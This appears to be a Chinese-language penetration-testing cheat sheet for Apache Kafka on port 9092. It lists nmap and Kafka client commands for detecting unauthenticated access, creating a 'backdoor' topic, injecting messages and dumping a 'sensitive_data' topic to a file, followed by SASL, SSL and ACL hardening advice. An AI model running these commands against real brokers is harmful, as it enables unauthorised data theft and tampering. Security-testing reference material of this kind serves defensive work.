9092 - Apache Kafka 服务渗透测试

服务概述

Kafka 是分布式流处理平台。未授权访问、配置错误是主要安全问题。

默认端口: 9092 (TCP)
危害等级: ⭐⭐⭐


信息收集

服务识别

# nmap 扫描
nmap -sV -p 9092 TARGET

# 使用 kafka 客户端
kafka-topics.sh --bootstrap-server TARGET:9092 --list

未授权访问检测

# 列出主题
kafka-topics.sh --bootstrap-server TARGET:9092 --list

# 如果成功,无需认证

常见攻击手法

1. 未授权访问

利用:

# 列出主题
kafka-topics.sh --bootstrap-server TARGET:9092 --list

# 创建主题
kafka-topics.sh --bootstrap-server TARGET:9092 --create --topic backdoor

# 发送消息
kafka-console-producer.sh --bootstrap-server TARGET:9092 --topic target

# 消费消息
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic target --from-beginning

2. 数据窃取

利用:

# 消费所有消息
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic sensitive_data --from-beginning

# 导出到文件
kafka-console-consumer.sh --bootstrap-server TARGET:9092 --topic logs > dump.txt

防御建议

# 1. 启用 SASL 认证
# server.properties
security.inter.broker.protocol=SASL_PLAINTEXT
sasl.mechanism.inter.broker.protocol=PLAIN
sasl.enabled.mechanisms=PLAIN

# 2. 启用 SSL
# 加密通信

# 3. ACL 控制
# 限制主题访问

参考链接